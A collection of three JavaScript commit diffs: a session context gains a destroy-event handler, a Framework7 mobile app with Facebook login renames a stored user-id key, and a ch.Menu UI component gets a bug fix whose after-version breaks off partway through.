<commit_before>const _ = require('lodash');
const ArtifactContext = require('./artifactContext.js');
const Scope = require('./scope.js');

function SessionContext() {
    if (!(this instanceof SessionContext)) {
        return new SessionContext();
    }

    this.scope = Scope('__session');
    this.contexts = {};
}

SessionContext.prototype.createArtifactContext = function createArtifactContext(id, ruleDefinition, artifact) {
    if (!_.isNil(this.contexts[id])) {
        throw new Error(`${id} already exists`);
    }

    this.contexts[id] = ArtifactContext(id, ruleDefinition, artifact, this.scope);

    return this.contexts[id];
};

SessionContext.prototype.getArtifactContext = function getArtifactContext(id) {
    return this.contexts[id];
};

SessionContext.prototype.issues = function issues() {
    return _.reduce(this.contexts, (issueList, context) => {
        issueList.push(...context.issues());

        return issueList;
    }, []);
};

SessionContext.prototype.destroy = function destroy() {
    _.forEach(this.contexts, (context, index) => {
        context.destroy();

        this.contexts[index] = null;
    }, []);

    this.contexts = null;

    this.scope.destroy();
};

module.exports = SessionContext;
<commit_msg>Session to handle Artifact destroy event<commit_after>const _ = require('lodash');
const ArtifactContext = require('./artifactContext.js');
const Scope = require('./scope.js');

function SessionContext() {
    if (!(this instanceof SessionContext)) {
        return new SessionContext();
    }

    this.scope = Scope('__session');
    this.contexts = {};
}

SessionContext.prototype.createArtifactContext = function createArtifactContext(id, ruleDefinition, artifact) {
    if (!_.isNil(this.contexts[id])) {
        throw new Error(`${id} already exists`);
    }

    this.contexts[id] = ArtifactContext(id, ruleDefinition, artifact, this.scope);

    this.contexts[id].on('destroy', () => {
        delete this.contexts[id];
    });

    return this.contexts[id];
};

SessionContext.prototype.getArtifactContext = function getArtifactContext(id) {
    return this.contexts[id];
};

SessionContext.prototype.issues = function issues() {
    return _.reduce(this.contexts, (issueList, context) => {
        issueList.push(...context.issues());

        return issueList;
    }, []);
};

SessionContext.prototype.destroy = function destroy() {
    _.forEach(this.contexts, (context) => {
        context.destroy();
    }, []);

    this.contexts = null;

    this.scope.destroy();
};

module.exports = SessionContext;
<|endoftext|>


<commit_before>// Initialize app
function showDivsConnect(){
    console.log(localStorage.logged_in);
    if(localStorage.logged_in=="true"){
        $(".login").show();
        $(".logout").hide();
        $(".names_user").html(localStorage.name+" "+localStorage.lastname);
    }else{
        $(".login").hide();
        $(".logout").show();
    }
}

function checkConnectionFB() {
    facebookConnectPlugin.getLoginStatus(function(response) {
        if (response.status == 'connected'&&response.authResponse.userID==localStorage.id) {
            localStorage.setItem("logged_in",true);
        } else {
            localStorage.setItem("logged_in",false);
        }
        showDivsConnect();
    });
}
function getUserData(id) {
    var data={id:id,table:"user"};
    $.ajax({
        url: "http://wisi.com.co/api/databyid",
        type: "get",
        data: data,
        success: function(d){
           alert(JSON.stringify(d));
        }
    });
}

function randSlider() {
    var num= Math.floor((Math.random() * 5) + 1);
    $(".full-page-video").css('background-image','url("http://wisi.com.co/assets/img/sliders/slider'+num+'.jpg")');
}
function findElement(selector) {
    var box = null;
    return $(".page-on-center").length > 0 ? (box = $(".view-main").find(".page-on-center " + selector),
        0 === box.length && (box = $(".view-main").find(".page-on-center" + selector))) : box = $(".view-main").find(".page").find(selector),
    box;
}

function naxvarBg() {
    var navbar = $(".navbar-anim-on-scroll"), box = null, cls = "active";
    return 0 === navbar.length ? !1 : (box = navbar.next().find($(".page-on-center").length > 0 ? ".page-on-center .page-content" : ".page .page-content"),
        box.scrollTop() > 10 ? navbar.addClass(cls) : navbar.removeClass(cls), void box.scroll(function() {
            $(this).scrollTop() > 40 ? navbar.addClass(cls) : navbar.removeClass(cls);
        }));
}

function hidePreloader() {
    jQuery(".page-preloader").animate({
        opacity: 0
    }, function() {
        jQuery(this).hide();
    });
}

var myApp = new Framework7({
    swipeBackPage: !1,
    pushState: !0,
    swipePanel: "left",
    modalTitle: "Title"
}), $$ = Dom7;

var fbLoginSuccess = function (response) {
 if (response.authResponse) {
     facebookConnectPlugin.api('/me?fields=id,email,first_name,last_name,gender,picture', null,
         function(response) {
            var gender=38;
            if(response.gender=="male")gender=39;
            localStorage.setItem("network",response.id);
            localStorage.setItem("name",  response.first_name);
            localStorage.setItem("lastname",  response.last_name);
            localStorage.setItem("email",  response.email);
            localStorage.setItem("gender",  gender);
            localStorage.setItem("picture",  response.picture.data.url);
            localStorage.setItem("logged_in", true);
            showDivsConnect();
            var data=$.param({data:{id:response.id,first_name:response.first_name,last_name:response.last_name,email:response.email,gender:gender,picture:response.picture}});
            $.ajax({
                url: "http://wisi.com.co/api/social/sigin",
                type: "post",
                data: data,
                success: function(d){
                    var level="1";
                    if(localStorage.cont_started=="true")level="2";
                    showDivsConnect();
                    localStorage.setItem("cont_started",true);
                    localStorage.setItem("id",d.userdata.id);
                    window.open("http://wisi.com.co/public/#/ad/"+level+"/"+d.userdata.id, "_system");
                }
            });
        });
 }

}

$$("body").on("click", ".button-facebook", function() {
    var terms=$('#chkTerm').is(':checked');
    if(terms){
        facebookConnectPlugin.login(["public_profile"],
            fbLoginSuccess,
            function (error) { myApp.alert("Problemas conectando con Facebook!", ""); }
            );
    }else{
        myApp.alert("Debe aceptar los términos y condiciones!", "");
    }
});

$$("body").on("click", ".pautar", function() {
    window.open("http://wisi.com.co/public/#/", "_system");
});
$$("body").on("click", ".close_sesion", function() {
    localStorage.clear();
    window.location.href = "index.html";
});

var mainView = myApp.addView(".view-main", {
    dynamicNavbar: !0
});
$$(document).on("pageInit", function(e) {
    checkConnectionFB();
    var page = e.detail.page;

    if(page.name=="mydata")getUserData(localStorage.id);

    myApp.calendar({
        input: "#ks-calendar-default"
    }), myApp.calendar({
        input: "#calendar-multiple",
        dateFormat: "M dd yyyy",
        multiple: !0
    }), myApp.calendar({
        input: "#calendar-range",
        dateFormat: "M dd yyyy",
        rangePicker: !0
    });
    var today = new Date(), weekLater = new Date().setDate(today.getDate() + 7);
    myApp.calendar({
        input: "#calendar-disabled",
        dateFormat: "M dd yyyy",
        disabled: {
            from: today,
            to: weekLater
        }
    }), myApp.calendar({
        container: "#calendar-inline-container",
        value: [ new Date() ]
    }), $$(".notification-default").on("click", function() {
        myApp.addNotification({
            title: "Framework7",
            message: "This is a simple notification message with title and message"
        });
    }), $$(".notification-full").on("click", function() {
        myApp.addNotification({
            title: "Framework7",
            subtitle: "Notification subtitle",
            message: "This is a simple notification message with custom icon and subtitle",
            media: ''
        });
    }), $$(".notification-custom").on("click", function() {
        myApp.addNotification({
            title: "My Awesome App",
            subtitle: "New message from John Doe",
            message: "Hello, how are you? Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aenean ut posuere erat. Pellentesque id elementum urna, a aliquam ante. Donec vitae volutpat orci. Aliquam sed molestie risus, quis tincidunt dui.",
            media: ''
        });
    }), $$(".notification-callback").on("click", function() {
        myApp.addNotification({
            title: "My Awesome App",
            subtitle: "New message from John Doe",
            message: "Hello, how are you? Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aenean ut posuere erat. Pellentesque id elementum urna, a aliquam ante. Donec vitae volutpat orci. Aliquam sed molestie risus, quis tincidunt dui.",
            media: '',
            onClose: function() {
                myApp.alert("Notification closed");
            }
        });
    }), $(".navbar").removeClass("navbar-clear"), ("index" === page.name || "dashboard-1" === page.name || "post" === page.name || "menu" === page.name || "login" === page.name || "registration" === page.name || "article" === page.name || "splash" === page.name) && $(".navbar").addClass("navbar-clear"),
    $(".twitter-content").length > 0 && $(".twitter-content").twittie({
        count: 10
    }), $(".tweet").length > 0 && $(".tweet").twittie({
        count: 1
    }), $(".flickr-content").length > 0 && $(".flickr-content").jflickrfeed({
        limit: 15,
        qstrings: {
            id: "44244432@N03"
        },
        itemTemplate: '

'
    }, function(data) {
        $(".flickr-content li a").swipebox();
    }), $(".owl-carousel").length > 0 && $(".owl-carousel").owlCarousel(), $(".featured-articles-slider").length > 0 && $(".featured-articles-slider").owlCarousel({
        singleItem: !0,
        navigation: !1,
        navigationText: [],
        pagination: !1,
        uniqueHistory: !0,
        loop: !0,
        autoPlay: 3e3,
        stopOnHover: !0
    }), $(".js-validate").length > 0 && $("body").on("click", "#register-button", function() {
        var form = $(this).parents("form"), valid = form.valid();
        if ("registration" === page.name && valid) {
            var data=$.param({data:form.serializeObject()});
            myApp.showPreloader(), $.post("http://wisi.com.co/api/register", data).done(function(data) {
                alert(JSON.stringify());
                myApp.hidePreloader();
                var response = JSON.parse(data);
            if(!response.message){
                  window.location.href = 'login.html';
            }else{
                window.open("http://wisi.com.co/public/#/ad/1/"+response.userdata.id, "_system");
            }

            localStorage.setItem("cont_started",true);
        });
        }
    });
    // Conversation flag
    var conversationStarted = !1, myMessages = myApp.messages(".messages", {
        autoLayout: !0
    }), myMessagebar = myApp.messagebar(".messagebar");
    // Handle message
    $$(".messagebar .link").on("click", function() {
        var name_user="Invitado";
        if(localStorage.name!="")name_user=localStorage.name+" "+localStorage.lastname;
        $(".message-name").html(name_user);
        // Message text
        var messageText = myMessagebar.value().trim();
        // Exit if empy message
        if (0 !== messageText.length) {
            // Empty messagebar
            myMessagebar.clear();
            // Random message type
            var avatar, name, messageType = [ "sent", "received" ][Math.round(Math.random())];
            "received" === messageType && (avatar = "http://lorempixel.com/output/people-q-c-100-100-9.jpg",
            name = name_user), // Add message
            myMessages.addMessage({
                // Message text
                text: messageText,
                // Random message type
                type: messageType,
                // Avatar and name:
                avatar: avatar,
                name: name,
                // Day
                day: conversationStarted ? !1 : "Today",
                time: conversationStarted ? !1 : new Date().getHours() + ":" + new Date().getMinutes()
            }), // Update conversation flag
            conversationStarted = !0;
        }
    });
}), $(document).ready(function() {
    //randSlider();
    checkConnectionFB();

    if ((null === localStorage.getItem("newOptions") || localStorage.getItem("newOptions") === !0) && (myApp.popup(".popup-splash"),
        localStorage.setItem("newOptions", !0)), $(".chart-content").length > 0) {
        var obj = document.querySelector(".chart-content"), ctx = obj.getContext("2d");
    showLineChart(ctx);
}
naxvarBg(), $(".js-toggle-menu").on("click", function() {
    $(this).next().slideToggle(200), $(this).find("span").toggleClass("icon-chevron-down").toggleClass("icon-chevron-up");
}), $("body").on("click", ".js-gallery-col", function() {
    var cols = $(this).data("cols");
    $(".gallery-list").attr({
        "data-cols": cols
    }), $(".js-gallery-col").removeClass("active"), $(this).addClass("active");
});
}), $.fn.serializeObject = function() {
    var o = {}, a = this.serializeArray();
    return $.each(a, function() {
        void 0 !== o[this.name] ? (o[this.name].push || (o[this.name] = [ o[this.name] ]),
            o[this.name].push(this.value || "")) : o[this.name] = this.value || "";
    }), o;
};<commit_msg>userid<commit_after>// Initialize app
function showDivsConnect(){
    console.log(localStorage.logged_in);
    if(localStorage.logged_in=="true"){
        $(".login").show();
        $(".logout").hide();
        $(".names_user").html(localStorage.name+" "+localStorage.lastname);
    }else{
        $(".login").hide();
        $(".logout").show();
    }
}

function checkConnectionFB() {
    facebookConnectPlugin.getLoginStatus(function(response) {
        if (response.status == 'connected'&&response.authResponse.userID==localStorage.id) {
            localStorage.setItem("logged_in",true);
        } else {
            localStorage.setItem("logged_in",false);
        }
        showDivsConnect();
    });
}
function getUserData(id) {
    var data={id:id,table:"user"};
    $.ajax({
        url: "http://wisi.com.co/api/databyid",
        type: "get",
        data: data,
        success: function(d){
           alert(JSON.stringify(d));
        }
    });
}

function randSlider() {
    var num= Math.floor((Math.random() * 5) + 1);
    $(".full-page-video").css('background-image','url("http://wisi.com.co/assets/img/sliders/slider'+num+'.jpg")');
}
function findElement(selector) {
    var box = null;
    return $(".page-on-center").length > 0 ? (box = $(".view-main").find(".page-on-center " + selector),
        0 === box.length && (box = $(".view-main").find(".page-on-center" + selector))) : box = $(".view-main").find(".page").find(selector),
    box;
}

function naxvarBg() {
    var navbar = $(".navbar-anim-on-scroll"), box = null, cls = "active";
    return 0 === navbar.length ? !1 : (box = navbar.next().find($(".page-on-center").length > 0 ? ".page-on-center .page-content" : ".page .page-content"),
        box.scrollTop() > 10 ? navbar.addClass(cls) : navbar.removeClass(cls), void box.scroll(function() {
            $(this).scrollTop() > 40 ? navbar.addClass(cls) : navbar.removeClass(cls);
        }));
}

function hidePreloader() {
    jQuery(".page-preloader").animate({
        opacity: 0
    }, function() {
        jQuery(this).hide();
    });
}

var myApp = new Framework7({
    swipeBackPage: !1,
    pushState: !0,
    swipePanel: "left",
    modalTitle: "Title"
}), $$ = Dom7;

var fbLoginSuccess = function (response) {
 if (response.authResponse) {
     facebookConnectPlugin.api('/me?fields=id,email,first_name,last_name,gender,picture', null,
         function(response) {
            var gender=38;
            if(response.gender=="male")gender=39;
            localStorage.setItem("network",response.id);
            localStorage.setItem("name",  response.first_name);
            localStorage.setItem("lastname",  response.last_name);
            localStorage.setItem("email",  response.email);
            localStorage.setItem("gender",  gender);
            localStorage.setItem("picture",  response.picture.data.url);
            localStorage.setItem("logged_in", true);
            showDivsConnect();
            var data=$.param({data:{id:response.id,first_name:response.first_name,last_name:response.last_name,email:response.email,gender:gender,picture:response.picture}});
            $.ajax({
                url: "http://wisi.com.co/api/social/sigin",
                type: "post",
                data: data,
                success: function(d){
                    var level="1";
                    if(localStorage.cont_started=="true")level="2";
                    showDivsConnect();
                    localStorage.setItem("cont_started",true);
                    localStorage.setItem("userid",d.userdata.id);
                    window.open("http://wisi.com.co/public/#/ad/"+level+"/"+d.userdata.id, "_system");
                }
            });
        });
 }

}

$$("body").on("click", ".button-facebook", function() {
    var terms=$('#chkTerm').is(':checked');
    if(terms){
        facebookConnectPlugin.login(["public_profile"],
            fbLoginSuccess,
            function (error) { myApp.alert("Problemas conectando con Facebook!", ""); }
            );
    }else{
        myApp.alert("Debe aceptar los términos y condiciones!", "");
    }
});

$$("body").on("click", ".pautar", function() {
    window.open("http://wisi.com.co/public/#/", "_system");
});
$$("body").on("click", ".close_sesion", function() {
    localStorage.clear();
    window.location.href = "index.html";
});

var mainView = myApp.addView(".view-main", {
    dynamicNavbar: !0
});
$$(document).on("pageInit", function(e) {
    checkConnectionFB();
    var page = e.detail.page;

    if(page.name=="mydata")getUserData(localStorage.userid);

    myApp.calendar({
        input: "#ks-calendar-default"
    }), myApp.calendar({
        input: "#calendar-multiple",
        dateFormat: "M dd yyyy",
        multiple: !0
    }), myApp.calendar({
        input: "#calendar-range",
        dateFormat: "M dd yyyy",
        rangePicker: !0
    });
    var today = new Date(), weekLater = new Date().setDate(today.getDate() + 7);
    myApp.calendar({
        input: "#calendar-disabled",
        dateFormat: "M dd yyyy",
        disabled: {
            from: today,
            to: weekLater
        }
    }), myApp.calendar({
        container: "#calendar-inline-container",
        value: [ new Date() ]
    }), $$(".notification-default").on("click", function() {
        myApp.addNotification({
            title: "Framework7",
            message: "This is a simple notification message with title and message"
        });
    }), $$(".notification-full").on("click", function() {
        myApp.addNotification({
            title: "Framework7",
            subtitle: "Notification subtitle",
            message: "This is a simple notification message with custom icon and subtitle",
            media: ''
        });
    }), $$(".notification-custom").on("click", function() {
        myApp.addNotification({
            title: "My Awesome App",
            subtitle: "New message from John Doe",
            message: "Hello, how are you? Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aenean ut posuere erat. Pellentesque id elementum urna, a aliquam ante. Donec vitae volutpat orci. Aliquam sed molestie risus, quis tincidunt dui.",
            media: ''
        });
    }), $$(".notification-callback").on("click", function() {
        myApp.addNotification({
            title: "My Awesome App",
            subtitle: "New message from John Doe",
            message: "Hello, how are you? Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aenean ut posuere erat. Pellentesque id elementum urna, a aliquam ante. Donec vitae volutpat orci. Aliquam sed molestie risus, quis tincidunt dui.",
            media: '',
            onClose: function() {
                myApp.alert("Notification closed");
            }
        });
    }), $(".navbar").removeClass("navbar-clear"), ("index" === page.name || "dashboard-1" === page.name || "post" === page.name || "menu" === page.name || "login" === page.name || "registration" === page.name || "article" === page.name || "splash" === page.name) && $(".navbar").addClass("navbar-clear"),
    $(".twitter-content").length > 0 && $(".twitter-content").twittie({
        count: 10
    }), $(".tweet").length > 0 && $(".tweet").twittie({
        count: 1
    }), $(".flickr-content").length > 0 && $(".flickr-content").jflickrfeed({
        limit: 15,
        qstrings: {
            id: "44244432@N03"
        },
        itemTemplate: '

'
    }, function(data) {
        $(".flickr-content li a").swipebox();
    }), $(".owl-carousel").length > 0 && $(".owl-carousel").owlCarousel(), $(".featured-articles-slider").length > 0 && $(".featured-articles-slider").owlCarousel({
        singleItem: !0,
        navigation: !1,
        navigationText: [],
        pagination: !1,
        uniqueHistory: !0,
        loop: !0,
        autoPlay: 3e3,
        stopOnHover: !0
    }), $(".js-validate").length > 0 && $("body").on("click", "#register-button", function() {
        var form = $(this).parents("form"), valid = form.valid();
        if ("registration" === page.name && valid) {
            var data=$.param({data:form.serializeObject()});
            myApp.showPreloader(), $.post("http://wisi.com.co/api/register", data).done(function(data) {
                alert(JSON.stringify());
                myApp.hidePreloader();
                var response = JSON.parse(data);
            if(!response.message){
                  window.location.href = 'login.html';
            }else{
                window.open("http://wisi.com.co/public/#/ad/1/"+response.userdata.id, "_system");
            }

            localStorage.setItem("cont_started",true);
        });
        }
    });
    // Conversation flag
    var conversationStarted = !1, myMessages = myApp.messages(".messages", {
        autoLayout: !0
    }), myMessagebar = myApp.messagebar(".messagebar");
    // Handle message
    $$(".messagebar .link").on("click", function() {
        var name_user="Invitado";
        if(localStorage.name!="")name_user=localStorage.name+" "+localStorage.lastname;
        $(".message-name").html(name_user);
        // Message text
        var messageText = myMessagebar.value().trim();
        // Exit if empy message
        if (0 !== messageText.length) {
            // Empty messagebar
            myMessagebar.clear();
            // Random message type
            var avatar, name, messageType = [ "sent", "received" ][Math.round(Math.random())];
            "received" === messageType && (avatar = "http://lorempixel.com/output/people-q-c-100-100-9.jpg",
            name = name_user), // Add message
            myMessages.addMessage({
                // Message text
                text: messageText,
                // Random message type
                type: messageType,
                // Avatar and name:
                avatar: avatar,
                name: name,
                // Day
                day: conversationStarted ? !1 : "Today",
                time: conversationStarted ? !1 : new Date().getHours() + ":" + new Date().getMinutes()
            }), // Update conversation flag
            conversationStarted = !0;
        }
    });
}), $(document).ready(function() {
    //randSlider();
    checkConnectionFB();

    if ((null === localStorage.getItem("newOptions") || localStorage.getItem("newOptions") === !0) && (myApp.popup(".popup-splash"),
        localStorage.setItem("newOptions", !0)), $(".chart-content").length > 0) {
        var obj = document.querySelector(".chart-content"), ctx = obj.getContext("2d");
    showLineChart(ctx);
}
naxvarBg(), $(".js-toggle-menu").on("click", function() {
    $(this).next().slideToggle(200), $(this).find("span").toggleClass("icon-chevron-down").toggleClass("icon-chevron-up");
}), $("body").on("click", ".js-gallery-col", function() {
    var cols = $(this).data("cols");
    $(".gallery-list").attr({
        "data-cols": cols
    }), $(".js-gallery-col").removeClass("active"), $(this).addClass("active");
});
}), $.fn.serializeObject = function() {
    var o = {}, a = this.serializeArray();
    return $.each(a, function() {
        void 0 !== o[this.name] ? (o[this.name].push || (o[this.name] = [ o[this.name] ]),
            o[this.name].push(this.value || "")) : o[this.name] = this.value || "";
    }), o;
};<|endoftext|>


<commit_before>(function (window, ch) {
    'use strict';

    /**
     * Menu lets you organize the links by categories.
     * @memberof ch
     * @constructor
     * @augments ch.Component
     * @requires ch.Expandable
     * @param {String} selector A jQuery or Zepto Selector to create an instance of ch.Menu.
     * @param {Object} [options] Options to customize an instance.
     * @param {String} [options.fx] Enable or disable UI effects. You should use: "slideDown", "fadeIn" or "none". Default: "slideDown".
     * @returns {menu} Returns a new instance of Menu.
     * @example
     * // Create a new Menu.
     * var menu = new ch.Menu(selector, [options]);
     * @example
     * // Create a new Menu with jQuery or Zepto.
     * var menu = new ch.Menu();
     * @example
     * // Create a new Menu with custom options.
     * var menu = new ch.Menu({
     *     'fx': 'none'
     * });
     */
    function Menu(selector, options) {

        /**
         * Reference to context of an instance.
         * @type {Object}
         * @private
         */
        var that = this;

        that._init(selector, options);

        if (this.initialize !== undefined) {
            /**
             * If you define an initialize method, it will be executed when a new Menu is created.
             * @memberof! ch.Menu.prototype
             * @function
             */
            this.initialize();
        }

        /**
         * Event emitted when the component is ready to use.
         * @event ch.Menu#ready
         * @example
         * // Subscribe to "ready" event.
         * menu.on('ready', function () {
         *     // Some code here!
         * });
         */
        window.setTimeout(function () { that.emit('ready'); }, 50);
    }

    // Inheritance
    var parent = ch.util.inherits(Menu, ch.Component),

        // Creates methods enable and disable into the prototype.
        methods = ['enable', 'disable'],
        len = methods.length;

    function createMethods(method) {
        Menu.prototype[method] = function (child) {
            var i,
                fold = this.folds[child - 1];

            // Enables or disables a specific expandable fold
            if (fold && fold.name === 'expandable') {

                fold[method]();

            // Enables or disables Expandable folds
            } else {

                i = this.folds.length;

                while (i) {

                    fold = this.folds[i -= 1];

                    if (fold.name === 'expandable') {
                        fold[method]();
                    }
                }

                // Executes parent method
                parent[method].call(this);

                // Updates "aria-disabled" attribute
                this._el.setAttribute('aria-disabled', !this._enabled);
            }

            return this;
        };
    }

    /**
     * The name of the component.
     * @memberof! ch.Menu.prototype
     * @type {String}
     */
    Menu.prototype.name = 'menu';

    /**
     * Returns a reference to the constructor function.
     * @memberof! ch.Menu.prototype
     * @function
     */
    Menu.prototype.constructor = Menu;

    /**
     * Configuration by default.
     * @type {Object}
     * @private
     */
    Menu.prototype._defaults = {
        'fx': 'slideDown'
    };

    /**
     * Initialize a new instance of Menu and merge custom options with defaults options.
     * @memberof! ch.Menu.prototype
     * @function
     * @private
     * @returns {menu}
     */
    Menu.prototype._init = function (selector, options) {
        // Call to its parent init method
        parent._init.call(this, selector, options);

        // cloneNode(true) > parameters is required. Opera & IE throws and internal error. Opera mobile breaks.
        this._snippet = this._el.cloneNode(true);

        /**
         * The menu container.
         * @type {HTMLElement}
         */
        this.container = this._el;
        this.container.setAttribute('role', 'navigation');
        ch.util.classList(this.container).add('ch-menu');

        this._options._className ? ch.util.classList(this.container).add(this._options._className) : null;
        this._options.addClass ? ch.util.classList(this.container).add(this._options.addClass) : null;

        /**
         * A collection of folds.
         * @type {Array}
         */
        this.folds = [];

        // Inits an expandable component on each list inside main HTML code snippet
        this._createExpandables();

        return this;
    };

    /**
     * Inits an Expandable component on each list inside main HTML code snippet.
     * @function
     * @private
     */
    Menu.prototype._createExpandables = function () {

        /**
         * Reference to context of an instance.
         * @type {Object}
         * @private
         */
        var that = this,
            li,
            child;

        function createExpandable(li, i) {
            var expandable,
                menu;

            // List element
            ch.util.classList(li).add('ch-menu-fold');

            // Children of list elements
            child = li.children[0];

            // Anchor inside list
            if (child.tagName === 'A') {
                // Add attr role to match wai-aria
                li.setAttribute('role', 'presentation');
                //
                ch.util.classList(child).add('ch-fold-trigger');
                // Add anchor to that.fold
                that.folds.push(child);

            } else {
                // List inside list, inits an Expandable
                expandable = new ch.Expandable(child, {
                    // Show/hide on IE8- instead slideUp/slideDown
                    'fx': that._options.fx
                });

                expandable
                    .on('show', function () {
                        /**
                         * Event emitted when the menu shows a fold.
                         * @event ch.Menu#show
                         * @example
                         * // Subscribe to "show" event.
                         * menu.on('show', function (shown) {
                         *     // Some code here!
                         * });
                         */
                        that.emit('show', i + 1);
                    })
                    .on('hide', function () {
                        /**
                         * Event emitted when the menu hides a fold.
                         * @event ch.Menu#hide
                         * @example
                         * // Subscribe to "hide" event.
                         * menu.on('hide', function () {
                         *     // Some code here!
                         * });
                         */
                        that.emit('hide');
                    });

                menu = child.nextElementSibling;
                menu.setAttribute('role', 'menu');

                Array.prototype.forEach.call(menu.children, function (item){
                    item.setAttribute('role', 'presentation');
                    item.children[0].setAttribute('role', 'menuitem');
                });

                // Add expandable to that.fold
                that.folds.push(expandable);
            }
        }

        Array.prototype.forEach.call(this.container.children, createExpandable);

        return this;
    };

    /**
     * Shows a specific fold.
     * @memberof! ch.Menu.prototype
     * @function
     * @param {Number} child - A given number of fold.
     * @returns {menu}
     * @example
     * // Shows the second fold.
     * menu.show(2);
     */
    Menu.prototype.show = function (child) {

        this.folds[child - 1].show();

        return this;
    };

    /**
     * Hides a specific fold.
     * @memberof! ch.Menu.prototype
     * @function
     * @param {Number} child - A given number of fold.
     * @returns {menu}
     * @example
     * // Hides the second fold.
     * menu.hide(2);
     */
    Menu.prototype.hide = function (child) {

        this.folds[child - 1].hide();

        return this;
    };

    /**
     * Allows to manage the menu content.
     * @param {Number} fold A given fold to change its content.
     * @param {(String | jQuerySelector | ZeptoSelector)} content The content that will be used by a fold.
     * @param {Object} [options] A custom options to be used with content loaded by ajax.
     * @param {String} [options.method] The type of request ("POST" or "GET") to load content by ajax. Default: "GET".
     * @param {String} [options.params] Params like query string to be sent to the server.
     * @param {Boolean} [options.cache] Force to cache the request by the browser. Default: true.
     * @param {Boolean} [options.async] Force to sent request asynchronously. Default: true.
     * @param {(String | jQuerySelector | ZeptoSelector)} [options.waiting] Temporary content to use while the ajax request is loading.
     * @example
     * // Updates the content of the second fold with some string.
     * menu.content(2, 'http://ajax.com', {'cache': false});
     */
    Menu.prototype.content = function (fold, content, options) {
        if (fold === undefined || typeof fold !== 'number') {
            throw new window.Error('Menu.content(fold, content, options): Expected number of fold.');
        }

        if (content === undefined) {
            return this.folds[fold - 1].content();
        }

        this.folds[fold - 1].content(content, options);

        return this;
    };

    while (len) {
        createMethods(methods[len -= 1]);
    }

    /**
     * Destroys a Menu instance.
     * @memberof! ch.Menu.prototype
     * @function
     * @example
     * // Destroy a menu
     * menu.destroy();
     * // Empty the menu reference
     * menu = undefined;
     */
    Menu.prototype.destroy = function () {

        this.folds.forEach(function (e, i) {
            if (e.destroy !== undefined) {
                e.destroy();
            }
        });

        this._el.parentNode.replaceChild(this._snippet, this._el);

        ch.util.Event.dispatchEvent(window.document, ch.onlayoutchange);

        parent.destroy.call(this);

        return;
    };

    ch.factory(Menu);

}(this, this.ch));
<commit_msg>#1210 Menu.js, bug fixed<commit_after>(function (window, ch) {
    'use strict';

    /**
     * Menu lets you organize the links by categories.
     * @memberof ch
     * @constructor
     * @augments ch.Component
     * @requires ch.Expandable
     * @param {String} selector A jQuery or Zepto Selector to create an instance of ch.Menu.
     * @param {Object} [options] Options to customize an instance.
     * @param {String} [options.fx] Enable or disable UI effects. You should use: "slideDown", "fadeIn" or "none". Default: "slideDown".
     * @returns {menu} Returns a new instance of Menu.
     * @example
     * // Create a new Menu.
     * var menu = new ch.Menu(selector, [options]);
     * @example
     * // Create a new Menu with jQuery or Zepto.
     * var menu = new ch.Menu();
     * @example
     * // Create a new Menu with custom options.
     * var menu = new ch.Menu({
     *     'fx': 'none'
     * });
     */
    function Menu(selector, options) {

        /**
         * Reference to context of an instance.
         * @type {Object}
         * @private
         */
        var that = this;

        that._init(selector, options);

        if (this.initialize !== undefined) {
            /**
             * If you define an initialize method, it will be executed when a new Menu is created.
             * @memberof! ch.Menu.prototype
             * @function
             */
            this.initialize();
        }

        /**
         * Event emitted when the component is ready to use.
         * @event ch.Menu#ready
         * @example
         * // Subscribe to "ready" event.
         * menu.on('ready', function () {
         *     // Some code here!
         * });
         */
        window.setTimeout(function () { that.emit('ready'); }, 50);
    }

    // Inheritance
    var parent = ch.util.inherits(Menu, ch.Component),

        // Creates methods enable and disable into the prototype.
        methods = ['enable', 'disable'],
        len = methods.length;

    function createMethods(method) {
        Menu.prototype[method] = function (child) {
            var i,
                fold = this.folds[child - 1];

            // Enables or disables a specific expandable fold
            if (fold && fold.name === 'expandable') {

                fold[method]();

            // Enables or disables Expandable folds
            } else {

                i = this.folds.length;

                while (i) {

                    fold = this.folds[i -= 1];

                    if (fold.name === 'expandable') {
                        fold[method]();
                    }
                }

                // Executes parent method
                parent[method].call(this);

                // Updates "aria-disabled" attribute
                this._el.setAttribute('aria-disabled', !this._enabled);
            }

            return this;
        };
    }

    /**
     * The name of the component.
     * @memberof! ch.Menu.prototype
     * @type {String}
     */
    Menu.prototype.name = 'menu';

    /**
     * Returns a reference to the constructor function.
     * @memberof! ch.Menu.prototype
     * @function
     */
    Menu.prototype.constructor = Menu;

    /**
     * Configuration by default.
     * @type {Object}
     * @private
     */
    Menu.prototype._defaults = {
        'fx': 'slideDown'
    };

    /**
     * Initialize a new instance of Menu and merge custom options with defaults options.
     * @memberof! ch.Menu.prototype
     * @function
     * @private
     * @returns {menu}
     */
    Menu.prototype._init = function (selector, options) {
        // Call to its parent init method
        parent._init.call(this, selector, options);

        // cloneNode(true) > parameters is required. Opera & IE throws and internal error. Opera mobile breaks.
        this._snippet = this._el.cloneNode(true);

        /**
         * The menu container.
         * @type {HTMLElement}
         */
        this.container = this._el;
        this.container.setAttribute('role', 'navigation');
        ch.util.classList(this.container).add('ch-menu');

        this._options._className ? ch.util.classList(this.container).add(this._options._className) : null;
        this._options.addClass ? ch.util.classList(this.container).add(this._options.addClass) : null;

        /**
         * A collection of folds.
         * @type {Array}
         */
        this.folds = [];

        // Inits an expandable component on each list inside main HTML code snippet
        this._createExpandables();

        return this;
    };

    /**
     * Inits an Expandable component on each list inside main HTML code snippet.
     * @function
     * @private
     */
    Menu.prototype._createExpandables = function () {

        /**
         * Reference to context of an instance.
         * @type {Object}
         * @private
         */
        var that = this,
            li,
            child;

        function createExpandable(li, i) {
            var expandable,
                menu;

            // List element
            ch.util.classList(li).add('ch-menu-fold');

            // Children of list elements
            child = li.children[0];

            // Anchor inside list
            if (child.tagName === 'A') {
                // Add attr role to match wai-aria
                li.setAttribute('role', 'presentation');
                //
                ch.util.classList(child).add('ch-fold-trigger');
                // Add anchor to that.fold
                that.folds.push(child);

            } else {
                // List inside list, inits an Expandable
                expandable = new ch.Expandable(child, {
                    // Show/hide on IE8- instead slideUp/slideDown
                    'fx': that._options.fx
                });

                expandable
                    .on('show', function () {
                        /**
                         * Event emitted when the menu shows a fold.
                         * @event ch.Menu#show
                         * @example
                         * // Subscribe to "show" event.
                         * menu.on('show', function (shown) {
                         *     // Some code here!
                         * });
                         */
                        that.emit('show', i + 1);
                    })
                    .on('hide', function () {
